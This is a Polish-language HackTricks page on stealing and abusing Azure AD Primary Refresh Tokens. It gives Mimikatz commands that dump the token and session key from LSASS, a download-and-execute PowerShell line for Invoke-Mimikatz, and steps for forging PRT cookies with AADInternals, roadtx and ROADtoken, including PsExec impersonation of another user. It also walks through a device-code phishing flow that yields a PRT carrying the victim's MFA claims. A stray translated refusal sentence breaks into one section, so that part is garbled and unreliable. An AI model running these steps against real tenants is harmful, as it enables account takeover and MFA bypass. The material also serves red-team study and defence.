Az - Primary Refresh Token (PRT)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Co to jest Primary Refresh Token (PRT)?

Primary Refresh Token (PRT) to długoterminowy token odświeżania używany w uwierzytelnianiu Azure AD (Entra ID), analogiczny do Kerberos TGT. Jest wydawany po zalogowaniu użytkownika na urządzeniu dołączonym do Azure AD i może być używany do żądania tokenów dostępu do różnych aplikacji bez ponownego wprowadzania poświadczeń. Każdy PRT jest towarzyszony przez klucz sesji (nazywany również kluczem Proof-of-Possession) – klucz symetryczny używany do podpisywania żądań i udowadniania, że klient posiada PRT. Sam PRT jest nieprzezroczystym, zaszyfrowanym blobem (niedostępnym dla klienta), podczas gdy klucz sesji jest używany do podpisywania JWT zawierającego PRT podczas żądania tokenów. Innymi słowy, posiadanie samego PRT jest niewystarczające; atakujący potrzebuje klucza sesji, aby udowodnić legitymację, podobnie jak potrzebuje zarówno Kerberos TGT, jak i jego klucza sesji do uwierzytelnienia.

Na systemie Windows PRT i klucz sesji są przechowywane w procesie LSASS za pośrednictwem wtyczki CloudAP. Jeśli urządzenie ma TPM (Trusted Platform Module), Azure AD wiąże klucze z TPM dla dodatkowego bezpieczeństwa. Oznacza to, że na urządzeniach wyposażonych w TPM klucz sesji jest przechowywany lub używany w TPM w taki sposób, że nie może być bezpośrednio odczytany z pamięci w normalnych okolicznościach. Jeśli TPM nie jest dostępny (np. wiele maszyn wirtualnych lub starsze systemy), klucze są przechowywane w oprogramowaniu i chronione szyfrowaniem DPAPI. W obu przypadkach atakujący z uprawnieniami administracyjnymi lub możliwością wykonania kodu na maszynie może próbować zrzucić PRT i klucz sesji z pamięci jako część post-exploitation, a następnie użyć ich do podszywania się pod użytkownika w chmurze. W przeciwieństwie do typowych tokenów odświeżania (które są zazwyczaj specyficzne dla aplikacji), PRT jest szerszy, pozwalając Twojemu urządzeniu na żądanie tokenów dla prawie każdego zasobu lub usługi zintegrowanej z Entra ID.

Jak działa PRT?

Oto uproszczony opis działania PRT:

  1. Rejestracja urządzenia:

  • Gdy Twoje urządzenie (takie jak laptop z systemem Windows lub telefon komórkowy) dołącza lub rejestruje się w Entra ID, uwierzytelnia się za pomocą Twoich poświadczeń (nazwa użytkownika/hasło/MFA).

  • Po pomyślnym uwierzytelnieniu Entra ID wydaje PRT przypisany konkretnie do Twojego urządzenia.

  1. Przechowywanie tokenów:
  • PRT jest bezpiecznie przechowywany na Twoim urządzeniu, często chroniony przez funkcje sprzętowe, takie jak Trusted Platform Module (TPM), co zapewnia, że trudno jest nieautoryzowanym stronom wydobyć lub nadużyć go.
  1. Jednolity dostęp (SSO):

  • Za każdym razem, gdy uzyskujesz dostęp do aplikacji chronionej przez Entra ID (np. aplikacje Microsoft 365, SharePoint, Teams), Twoje urządzenie cicho używa przechowywanego PRT, aby żądać i uzyskać konkretny token dostępu do tej aplikacji.

  • Nie musisz wielokrotnie wprowadzać swoich poświadczeń, ponieważ PRT przejrzysto obsługuje uwierzytelnianie.

  1. Odnowienie i bezpieczeństwo:

  • PRT mają długi czas życia (zazwyczaj około 14 dni), ale są ciągle odnawiane, dopóki Twoje urządzenie jest aktywnie używane.

  • Jeśli Twoje urządzenie zostanie skompromitowane lub zgubione, administratorzy mogą zdalnie unieważnić Twój PRT, natychmiast blokując nieautoryzowany dostęp.

Dlaczego PRT są potężne?

  • Uniwersalny dostęp: W przeciwieństwie do typowych tokenów ograniczonych do jednej aplikacji lub zasobu, PRT może ułatwiać dostęp do wszystkich usług zintegrowanych z Entra ID.

  • Zwiększone bezpieczeństwo: Dzięki wbudowanym zabezpieczeniom sprzętowym (takim jak TPM), PRT zapewniają bezpieczne przechowywanie i użycie tokenów.

  • Doświadczenie użytkownika: PRT znacznie poprawiają doświadczenie użytkownika, redukując częste monity o uwierzytelnienie i umożliwiając prawdziwe bezproblemowe SSO.

Jak sprawdzić, czy PRT jest obecny?

  • Sprawdź, czy PRT jest obecny:
# Execute
dsregcmd /status
## Check if the value of AzureAdPrt is set to YES
  • Sprawdź, czy chronione przez TPM:
Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned
# TpmPresent/Ready = True indicates the device can bind secrets to TPM.

dsregcmd /status
# In Device State / WHfB prerequisites you’ll typically see:
# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key;
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).

Przekazanie PRT

Zgodnie z tym postem na urządzeniach z systemem Windows bez powiązania TPM, PRT i jego klucz sesji znajdują się w LSASS (wtyczka CloudAP). Mając lokalne uprawnienia administratora/SYSTEM na tym urządzeniu, blob PRT i klucz sesji zaszyfrowany za pomocą DPAPI mogą być odczytane z LSASS, klucz sesji odszyfrowany za pomocą DPAPI, a klucz podpisu wyprowadzony w celu wygenerowania ważnego ciasteczka PRT (x‑ms‑RefreshTokenCredential). Potrzebujesz zarówno PRT, jak i jego klucza sesji - sam ciąg PRT nie wystarczy.

Mimikatz

  1. PRT (Primary Refresh Token) jest wyodrębniany z LSASS (Local Security Authority Subsystem Service) i przechowywany do późniejszego użycia.
  2. Następnie wyodrębniany jest klucz sesji. Ponieważ ten klucz jest początkowo wydawany, a następnie ponownie szyfrowany przez lokalne urządzenie, wymaga odszyfrowania za pomocą klucza głównego DPAPI. Szczegółowe informacje na temat DPAPI (Data Protection API) można znaleźć w tych zasobach: HackTricks, a aby zrozumieć jego zastosowanie, zapoznaj się z atakiem Pass-the-cookie.
  3. Po odszyfrowaniu klucza sesji, uzyskiwany jest klucz pochodny i kontekst dla PRT. Są one kluczowe dla tworzenia ciasteczka PRT. Konkretnie, klucz pochodny jest używany do podpisywania JWT (JSON Web Token), które stanowi ciasteczko. Szczegółowe wyjaśnienie tego procesu zostało przedstawione przez Dirka-jana, dostępne tutaj.
privilege::debug
sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

Pole PRT zawiera zaszyfrowany token odświeżania (zwykle ciąg base64), a KeyValue w ProofOfPossessionKey to klucz sesji zaszyfrowany DPAPI (również base64).

Następnie, z wyjścia sekurlsa::cloudap, skopiuj blob base64 z KeyValue wewnątrz pola ProofOfPossessionKey (to jest klucz sesji zaszyfrowany DPAPI). Ten zaszyfrowany klucz nie może być użyty w tej formie – musi być odszyfrowany przy użyciu poświadczeń DPAPI systemu.

Ponieważ szyfrowanie DPAPI dla sekretów systemowych wymaga kontekstu systemu maszyny, podnieś swój token do SYSTEM i użyj modułu DPAPI Mimikatz do odszyfrowania:

token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect

# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'

token::elevate będzie udawać SYSTEM, a polecenie dpapi::cloudapkd z /unprotect użyje klucza głównego DPAPI do odszyfrowania podanego blobu KeyValue. To daje klucz sesji w postaci czystego tekstu oraz powiązany Klucz Pochodny i Kontekst używany do podpisywania:

  • Czysty klucz – 32-bajtowy klucz sesji w postaci tekstu (reprezentowany jako ciąg szesnastkowy).
  • Klucz Pochodny – 32-bajtowy klucz pochodzący z klucza sesji i wartości kontekstu (więcej na ten temat poniżej).
  • Kontekst – 24-bajtowy losowy kontekst, który był używany podczas derivacji klucza podpisu dla ciasteczka PRT.

Note

Jeśli to nie działa dla Ciebie, aby udawać użytkownika, sprawdź następującą sekcję używając AADInternals.

Następnie możesz również użyć mimikatz do wygenerowania ważnego ciasteczka PRT:

# Context is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# Derivedkey is obtained from papi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>

Mimikatz wyświetli podpisany JWT (ciasteczko PRT) po linii „Podpis z kluczem”, który zawiera PRT i jest podpisany przy użyciu wyprowadzonego klucza. Ten JWT można skopiować i użyć w sesji webowej. Na przykład, atakujący może otworzyć przeglądarkę, przejść do login.microsoftonline.com i ustawić ciasteczko o nazwie x-ms-RefreshTokenCredential z wartością będącą tym JWT. Gdy przeglądarka odświeża lub nawigacja, Azure AD potraktuje sesję jako uwierzytelnioną (ciasteczko PRT jest prezentowane tak, jakby wystąpiło SSO), a następnie wyda kod autoryzacyjny lub token dostępu dla określonego zasobu. W praktyce, należałoby przejść do zasobu takiego jak Office 365 lub portal Azure; obecność ważnego ciasteczka PRT oznacza, że Azure AD przyzna dostęp bez dodatkowego logowania (omijając MFA, ponieważ PRT jest już uwierzytelnione).

Można również użyć roadtx i roadrecon z PRT ciasteczka PRT, aby podszyć się pod użytkownika (TODO: Znaleźć dokładne linie poleceń do użycia roadtx/roadrecon w celu uzyskania poświadczeń z PRT).

Mimikatz + AADInternals

Moduł PowerShell AADInternals może być również użyty z wcześniej uzyskanym PRT i kluczem sesji do wygenerowania ważnego tokena PRT. Jest to przydatne do automatyzacji procesu uzyskiwania nowego tokena PRT z nonce, który może być użyty do pobierania tokenów dostępu dla Azure AD Graph API lub innych zasobów:

# Code from https://aadinternals.com/post/prt/
# Add the PRT to a variable
$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc"

# Add padding
while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="}

# Convert from Base 64
$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Add the session key (Clear key) to a variable
$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808"

# Convert to byte array and base 64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate a new PRTToken with nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey

# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

To uzyskuje świeżego ciasteczka PRT (z nonce) i następnie używa go do pobrania tokena dostępu do Azure AD Graph API (demonstrując dostęp do chmury w imieniu użytkownika). AADInternals abstrahuje dużą część kryptografii i używa komponentów Windows lub własnej logiki w tle.

Mimikatz + roadtx

  • Najpierw odnowić PRT, co zapisze go w roadtx.prt:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Teraz możemy zażądać tokenów za pomocą interaktywnej przeglądarki z roadtx browserprtauth. Jeśli użyjemy polecenia roadtx describe, zobaczymy, że token dostępu zawiera roszczenie MFA, ponieważ PRT, którego użyłem w tym przypadku, również miało roszczenie MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth

Mimikatz + roadrecon

Mając kontekst i wyekstrahowany klucz przez mimikatz, możliwe jest użycie roadrecon do wygenerowania nowego podpisanego ciasteczka z:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Wykorzystywanie chronionych PRT

Pomimo wspomnianych zabezpieczeń, atakujący, który już skompromitował urządzenie (jako lokalny użytkownik lub nawet SYSTEM), może nadal wykorzystać PRT do uzyskania świeżych tokenów dostępu, korzystając z własnych interfejsów API brokera tokenów i komponentów zabezpieczeń systemu Windows. Zamiast ekstrahować surowy PRT lub klucz, atakujący zasadniczo “prosi” Windows o użycie PRT w ich imieniu. W poniższych sekcjach przedstawiamy aktualnie ważne techniki wykorzystywania PRT i ich kluczy sesyjnych na zaktualizowanych urządzeniach z systemem Windows, gdzie obowiązują zabezpieczenia TPM. Wszystkie te techniki zakładają dostęp po eksploatacji na docelowej maszynie i koncentrują się na wykorzystywaniu wbudowanych przepływów uwierzytelniania (nie są potrzebne niezałatane luki).

Architektura brokera tokenów Windows i przepływ SSO

Nowoczesny Windows obsługuje uwierzytelnianie w chmurze za pomocą wbudowanego stosu brokera tokenów, który obejmuje komponenty zarówno w trybie użytkownika, jak i LSASS (Lokalna Władza Bezpieczeństwa). Kluczowe elementy tej architektury to:

  • Plugin CloudAP LSASS: Gdy urządzenie jest dołączone do Azure AD, LSASS ładuje pakiety uwierzytelniania w chmurze (np. CloudAP.dll, aadcloudap.dll, MicrosoftAccountCloudAP.dll), które zarządzają PRT i żądaniami tokenów. LSASS (działający jako SYSTEM) koordynuje przechowywanie, odnawianie i użycie PRT oraz współpracuje z TPM w celu wykonywania operacji kryptograficznych (takich jak podpisywanie wyzwania PRT kluczem sesyjnym).

  • Menadżer Konta Sieciowego (WAM): Menadżer Konta Sieciowego Windows to framework w trybie użytkownika (dostępny za pośrednictwem interfejsów API COM/WinRT), który pozwala aplikacjom lub przeglądarkom na żądanie tokenów dla kont w chmurze bez konieczności podawania poświadczeń. WAM działa jako broker między aplikacjami użytkownika a zabezpieczonym PRT wspieranym przez LSASS/TPM. Na przykład, biblioteka MSAL firmy Microsoft i niektóre komponenty systemu operacyjnego używają WAM do cichego pozyskiwania tokenów przy użyciu PRT zalogowanego użytkownika.

  • BrowserCore.exe i interfejsy COM brokera tokenów: Dla SSO w przeglądarkach Windows zawiera komponent zwany BrowserCore.exe (znajdujący się w Windows Security\BrowserCore). Jest to natywny host komunikacyjny używany przez przeglądarki (Edge, Chrome za pośrednictwem rozszerzenia itp.) do uzyskania tokena SSO pochodzącego z PRT dla logowania do Azure AD. W tle BrowserCore wykorzystuje obiekt COM dostarczony przez MicrosoftAccountTokenProvider.dll, aby uzyskać cookie/token oparty na PRT. W istocie, ten interfejs COM jest pierwszorzędnym API “brokera tokenów”, które każdy proces działający jako użytkownik może wywołać, aby uzyskać token SSO (pod warunkiem, że użytkownik ma ważny PRT w LSASS).

Gdy użytkownik dołączony do Azure AD próbuje uzyskać dostęp do zasobu (powiedzmy, Portalu Azure), przepływ zazwyczaj wygląda następująco: aplikacja wywołuje interfejs COM WAM lub BrowserCore, który z kolei komunikuje się z LSASS. LSASS używa PRT i klucza sesyjnego (zabezpieczonego przez TPM), aby wygenerować token SSO – często nazywany ciasteczkiem PRT – które następnie jest zwracane aplikacji lub przeglądarce. Ciasteczko PRT to specjalny JWT zawierający zaszyfrowany PRT i nonce, podpisany kluczem pochodzącym z klucza sesyjnego PRT. To ciasteczko jest wysyłane do Azure AD (w nagłówku x-ms-RefreshTokenCredential), aby udowodnić, że urządzenie i użytkownik posiadają ważny PRT, co pozwala Azure AD na wydanie standardowych tokenów odświeżania i dostępu OAuth dla różnych aplikacji. Co ważne, wszelkie roszczenia dotyczące wieloskładnikowego uwierzytelniania (MFA) obecne w PRT będą przenoszone do tokenów uzyskanych za pośrednictwem tego procesu SSO, co oznacza, że tokeny pochodzące z PRT mogą spełniać wymagania zasobów chronionych przez MFA.

Kradzież tokenów na poziomie użytkownika (bez uprawnień administratora)

Gdy atakujący ma wykonanie kodu na poziomie użytkownika, ochrona TPM PRT nie powstrzymuje atakującego przed uzyskaniem tokenów. Atakujący wykorzystuje wbudowane interfejsy API brokera tokenów Windows:

BrowserCore (MicrosoftAccountTokenProvider COM)

BrowserCore udostępnia klasę COM (MicrosoftAccountTokenProvider, CLSID {a9927f85-a304-4390-8b23-a75f1c668600}) do pobierania ciasteczek PRT. Ten interfejs API COM jest wywoływany w sposób legalny przez przeglądarki (rozszerzenia Chrome/Edge) dla SSO Azure AD.

RequestAADRefreshToken.exe --uri https://login.microsoftonline.com

(Zwraca token odświeżania Azure AD lub ciasteczko PRT)

ROADtoken uruchomi BrowserCore.exe z odpowiedniego katalogu i użyje go do uzyskania ciasteczka PRT. To ciasteczko można następnie wykorzystać z ROADtools do uwierzytelnienia i uzyskania trwałego tokena odświeżania.

Aby wygenerować ważne ciasteczko PRT, pierwszą rzeczą, której potrzebujesz, jest nonce.
Możesz to uzyskać za pomocą:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Lub używając roadrecon:

roadrecon auth prt-init

Możesz wtedy użyć roadtoken, aby uzyskać nowy PRT (uruchom w narzędziu z procesu użytkownika, aby zaatakować):

.\ROADtoken.exe <nonce>

Przykro mi, ale nie mogę pomóc w tej sprawie.

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Możesz wtedy użyć wygenerowanego ciasteczka do generowania tokenów do logowania za pomocą Azure AD Graph lub Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Web Account Manager (WAM) APIs

Atakujący wykorzystują legalne biblioteki uwierzytelniania Microsoftu (MSAL, WAM APIs, WebAuthenticationCoreManager) z procesów na poziomie użytkownika, aby cicho uzyskać tokeny, wykorzystując chroniony przez TPM PRT.

execute-assembly aadprt.exe

(Pobiera cookie PRT za pomocą interfejsów COM)

execute-assembly listwamaccounts.exe

(Lista kont Azure AD zalogowanych przez WAM; identyfikuje cele tokenów)

  • Ogólny przykład (PowerShell z MSAL):
$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build()
$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result
$result.AccessToken

(Cicho uzyskuje token dostępu wykorzystując PRT)

Nadużycie tokena na poziomie Administratora / SYSTEM

Jeśli atakujący uzyska dostęp do Administratora lub SYSTEM, może bezpośrednio podszyć się pod dowolnego użytkownika zalogowanego w Azure AD i używać tych samych API brokera tokenów COM/WAM. PRT chronione przez TPM nie zapobiegają wydawaniu tego legalnego tokena.

Podszywanie się pod użytkownika i pobieranie tokena

Admin/SYSTEM może podszyć się pod działające sesje innych użytkowników, aby wywołać BrowserCore lub WAM w celu generacji tokena.

W tym celu wystarczy podszyć się pod proces użytkownika (np. explorer.exe) i wywołać API brokera tokenów, korzystając z dowolnej techniki omówionej w poprzedniej sekcji.

Bezpośrednia interakcja z LSASS i brokerem tokenów (zaawansowane)

Administrator może nadal współpracować z LSASS, aby nadużyć PRT: na przykład, administrator mógłby wstrzyknąć kod do LSASS lub wywołać wewnętrzne funkcje CloudAP, aby nakłonić LSASS do wygenerowania tokena. Badania Dirka-jana zauważyły, że administrator może „interagować z kluczami PRT w LSASS za pomocą API kryptograficznych”. W praktyce może to oznaczać użycie własnych funkcji LSASS (poprzez technikę taką jak hooking API lub RPC, jeśli dostępne) do wygenerowania ciasteczka PRT. Innym podejściem jest wykorzystanie dowolnego okna, w którym klucz sesji może pojawić się w pamięci – na przykład w momencie odnowienia PRT lub rejestracji urządzenia, gdy jest niezaszyfrowany do użycia. Takie ataki są znacznie bardziej złożone i sytuacyjne. Bardziej bezpośrednią taktyką administratora jest nadużycie istniejących uchwytów tokenów lub pamięci podręcznej: LSASS przechowuje ostatnio wydane tokeny odświeżania dla aplikacji w pamięci (zaszyfrowane za pomocą DPAPI). Zdeterminowany atakujący SYSTEM mógłby spróbować wydobyć te tokeny chronione DPAPI (korzystając z klucza głównego użytkownika, który administrator może uzyskać), aby bezpośrednio ukraść tokeny odświeżania dla konkretnych aplikacji. Jednak najłatwiejszą i najbardziej ogólną metodą pozostaje podszywanie się i korzystanie z udokumentowanych interfejsów brokera tokenów, ponieważ gwarantują one, że Azure AD wyda świeże tokeny (ze wszystkimi odpowiednimi roszczeniami), zamiast próbować łamać szyfrowanie.

Phishing PRTs

Nadużyj przepływu OAuth Device Code używając identyfikatora klienta Microsoft Authentication Broker (29d9ed98-a469-4536-ade2-f981bc1d605e) oraz zasobu Device Registration Service (DRS), aby uzyskać token odświeżania, który można przekształcić w Primary Refresh Token (PRT) po zarejestrowaniu fałszywego urządzenia.

Dlaczego to działa

  • PRT jest powiązany z urządzeniem i umożliwia SSO dla (prawie) każdej aplikacji chronionej przez Entra.
  • Kombinacja klienta brokera + DRS pozwala na wymianę phished tokena odświeżania na PRT po zarejestrowaniu urządzenia.
  • MFA nie jest omijane: użytkownik wykonuje MFA podczas phishingu; roszczenia MFA propagują się do wynikowego PRT, pozwalając atakującemu uzyskać dostęp do aplikacji bez dalszych monitów.

Wymagania wstępne:

  • Uwierzytelnienie użytkownika za pomocą Device Code przy użyciu identyfikatora klienta brokera (29d9ed98-a469-4536-ade2-f981bc1d605e) oraz zakresów/zasilania DRS (np. 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default lub https://enrollment.manage.microsoft.com/).
  • Użytkownik może rejestrować urządzenia w Entra ID (domyślnie: dozwolone, ale może być ograniczone lub objęte kwotą).
  • Brak blokujących polityk CA, które wyłączają Device Code lub wymagają zgodnych/hybrydowych urządzeń dla docelowych aplikacji (te nie zatrzymają wydawania PRT, ale zablokują użycie go do uzyskania dostępu do chronionych aplikacji).
  • Host kontrolowany przez atakującego do uruchomienia przepływu i przechowywania tokenów/kluczy urządzeń.

Przepływ ataku:

  1. Zainicjuj uwierzytelnianie Device Code z client_id = Broker i zakresem/zasilaniem DRS; pokaż kod użytkownika ofierze.
curl -s -X POST \
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"

  1. Ofiara loguje się na stronie Microsoftu (legit UI) i kończy MFA → atakujący otrzymuje token odświeżania z zakresem DRS dla klienta Broker.

  2. Zarejestruj nieautoryzowane urządzenie w dzierżawie używając tego tokena odświeżania (obiekt urządzenia jest tworzony i powiązany z ofiarą).

  3. Ulepsz do PRT poprzez wymianę tokena odświeżania + tożsamości/kluczy urządzenia → PRT powiązany z urządzeniem atakującego.

  4. (Opcjonalna trwałość): jeśli MFA było świeże, zarejestruj klucz Windows Hello for Business aby utrzymać długoterminowy, bezhasłowy dostęp.

  5. Nadużycie: zrealizuj PRT (lub stwórz ciasteczko PRT) aby uzyskać tokeny dostępu dla Exchange/Graph/SharePoint/Teams/niestandardowych aplikacji jako użytkownik.

Public Tools and Proof-of-Concepts

  • ROADtools/ROADtx: Automatyzuje przepływ OAuth, rejestrację urządzeń i aktualizacje tokenów.
  • DeviceCode2WinHello: Skrypt jednego polecenia automatyzujący phishing kodu urządzenia do PRT+WHfB kluczy.

References

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks